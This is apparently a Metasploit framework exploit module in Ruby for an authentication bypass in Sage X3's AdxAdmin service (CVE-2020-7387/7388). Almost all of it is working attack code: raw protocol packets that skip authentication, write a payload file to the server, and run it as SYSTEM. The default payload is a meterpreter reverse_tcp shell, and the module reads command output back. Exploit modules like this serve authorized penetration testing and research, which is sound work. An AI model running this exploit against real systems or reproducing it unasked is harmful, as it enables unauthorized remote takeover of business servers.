##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',
        'Description' => %q{
          This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
          protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
          available AdxAdmin service.
        },
        'Author' => [
          'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk
          'Aaron Herndon' # @ac3lives
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2021-07-07',
        'References' => [
          ['CVE', '2020-7387'], # Infoleak
          ['CVE', '2020-7388'], # RCE
          ['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
        ],
        'Privileged' => true,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/generic',
                'CMD' => 'whoami'
              }
            }
          ],
          [
            'Windows DLL',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Executable',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [FIRST_ATTEMPT_FAIL],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1818)
      ]
    )
  end

  def vprint(msg = '')
    print(msg) if datastore['VERBOSE']
  end

  def check
    s = connect
    print_status('Connected')

    # ADXDIR command authentication header
    # allows for unauthenticated retrieval of X3 directory
    auth_packet = "\x09\x00"
    s.write(auth_packet)

    # recv response
    res = s.read(1024)

    if res.nil? || res.length != 4
      print_bad('ADXDIR authentication failed')
      return CheckCode::Safe
    end

    if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
      print_bad('ADXDIR authentication failed')
      return CheckCode::Safe
    end

    print_good('ADXDIR authentication successful.')

    # ADXDIR command
    adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"
    s.write(adx_dir_msg)
    directory = s.read(1024)

    return CheckCode::Safe if directory.nil?

    sagedir = directory[4..-2]
    print_good(format('Received directory info from host: %s', sagedir))
    disconnect

    CheckCode::Vulnerable(details: { sagedir: sagedir })
  rescue Rex::ConnectionError
    CheckCode::Unknown
  end

  def build_buffer(head, sage_payload, tail)
    buffer = ''

    # do things
    buffer << head if head
    buffer << sage_payload.length
    buffer << sage_payload
    buffer << tail if tail

    buffer
  end

  def write_file(sock, filenum, sage_payload, target, sagedir)
    s = sock

    # building the initial authentication packet
    # [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]
    # Note: the first byte of this auth packet is different from the ADXDIR command

    revsagedir = sagedir.gsub('\\', '/')

    s.write("\x06\x00")
    auth_resp = s.read(1024)

    fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4

    print_good('Command authentication successful.')

    # May require additional information such as file path
    # this will be used for multiple messages

    head = "\x00\x00\x36\x02\x00\x2e\x00" # head
    fmt = '@%s/tmp/cmd%s$cmd'
    fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'
    fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'
    pload = format(fmt, revsagedir, filenum)
    tail = "\x00\x03\x00\x01\x77"
    sendbuf = build_buffer(head, pload, tail)
    s.write(sendbuf)
    s.read(1024)

    # Packet --- 3
    # Creating the packet that contains the command to run
    head = "\x02\x00\x05\x08\x00\x00\x00"

    # this writes the data to the .cmd file to get executed
    # a single write can't be larger than ~250 bytes
    # so writes larger than 250 need to be broken up
    written = 0
    print_status('Writing data')

    while written < sage_payload.length
      vprint('.')

      towrite = sage_payload[written..written + 250]
      sendbuf = build_buffer(head, towrite, nil)
      s.write(sendbuf)
      s.recv(1024)

      written += towrite.length
    end

    vprint("\r\n")
  end

  def exploit
    sage_payload = payload.encoded if target.name == 'Windows Command'
    sage_payload = generate_payload_dll if target.name == 'Windows DLL'
    sage_payload = generate_payload_exe if target.name == 'Windows Executable'

    sagedir = check.details[:sagedir]

    if sagedir.nil?
      fail_with(Failure::NotVulnerable,
                'No directory was returned by the remote host, may not be vulnerable')
    end

    if sagedir.end_with?('AdxAdmin')
      register_dir_for_cleanup("#{sagedir}\\tmp")
    end

    revsagedir = sagedir.gsub('\\', '/')

    filenum = rand_text_numeric(8)
    vprint_status(format('Using generated filename: %s', filenum))

    s = connect

    write_file(s, filenum, sage_payload, target.name, sagedir)

    unless target.name == 'Windows Command'
      disconnect
      # re-establish connection after writing file
      s = connect
    end

    if target.name == 'Windows DLL'
      sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"
      vprint_status(sage_payload)
      write_file(s, filenum, sage_payload, nil, sagedir)
    end

    if target.name == 'Windows Executable'
      sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"
      vprint_status(sage_payload)
      write_file(s, filenum, sage_payload, nil, sagedir)
    end

    # Some sort of delimiter
    delim0 = "\x02\x00\x01\x01" # bufm
    s.write(delim0)
    s.recv(1024)

    # Packet --- 4
    sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"
    head = "\x00\x00\x37\x02\x00\x2f\x00"
    tail = "\x00\x03\x00\x01\x77"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- 5
    head = "\x02\x00\x05\x08\x00\x00\x00"
    sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"
    sendbuf = build_buffer(head, sage_payload, nil)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- Delim
    s.write(delim0)
    s.recv(1024)

    # Packet --- 6
    head = "\x00\x00\x36\x04\x00\x2e\x00"
    sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"
    tail = "\x00\x03\x00\x01\x72"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    # if it's not COMMAND, we can stop here
    # otherwise, we'll send/recv the last bit
    # of info for the output
    unless target.name == 'Windows Command'
      disconnect
      return
    end

    # Packet --- Delim
    delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"
    s.write(delim1)
    s.recv(1024)

    # Packet --- Delim
    s.write(delim0)
    s.recv(1024)

    # The two below are directing the server to read from the .out file that should have been created
    # Then we get the output back
    # Packet --- 7 - Still works when removed.
    head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"
    sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
    sendbuf = build_buffer(head, sage_payload, nil)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- 8
    head = "\x00\x00\x33\x02\x00\x2b\x00"
    sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
    tail = "\x00\x03\x00\x01\x72"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    s.write(delim1)
    returned_data = s.recv(8096).strip!

    if returned_data.nil? || returned_data.empty?
      disconnect
      fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
    end

    print_good('------------ Response Received ------------')
    print_status(returned_data)
    disconnect
  end

end
